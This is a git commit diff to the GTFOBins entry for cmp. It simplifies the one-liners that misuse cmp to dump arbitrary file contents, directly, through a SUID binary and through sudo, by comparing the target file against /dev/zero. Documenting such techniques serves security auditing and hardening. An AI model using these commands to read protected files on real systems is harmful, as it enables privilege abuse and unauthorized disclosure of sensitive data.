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Simplify cmp

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This commit is contained in:
Andrea Cardaci 2021-07-13 08:50:51 +02:00
parent a9313397a0
commit b1a33432e9
1 changed files with 7 additions and 12 deletions
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19
_gtfobins/cmp.md
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@ -1,21 +1,16 @@
---
description: Dump the bytes of the input file that are different from the NUL byte in a tabular format, hence this may not be suitable to read arbitrary binary files.
functions:
file-read:
- code: |
LFILE=file-to-read
TEMP=$(mktemp)
printf 'A%.0s' {1..999} > $TEMP
cmp $LFILE $TEMP -b -n 999 -l
LFILE=file_to_read
cmp $LFILE /dev/zero -b -l
suid:
- code: |
LFILE=file-to-read
TEMP=$(mktemp)
printf 'a%.0s' {1..999} > $TEMP
cmp $LFILE $TEMP -b -n 999 -l
LFILE=file_to_read
./cmp $LFILE /dev/zero -b -l
sudo:
- code: |
LFILE=file-to-read
TEMP=$(mktemp)
printf 'a%.0s' {1..999} > $TEMP
sudo cmp $LFILE $TEMP -b -n 999 -l
LFILE=file_to_read
sudo cmp $LFILE /dev/zero -b -l
---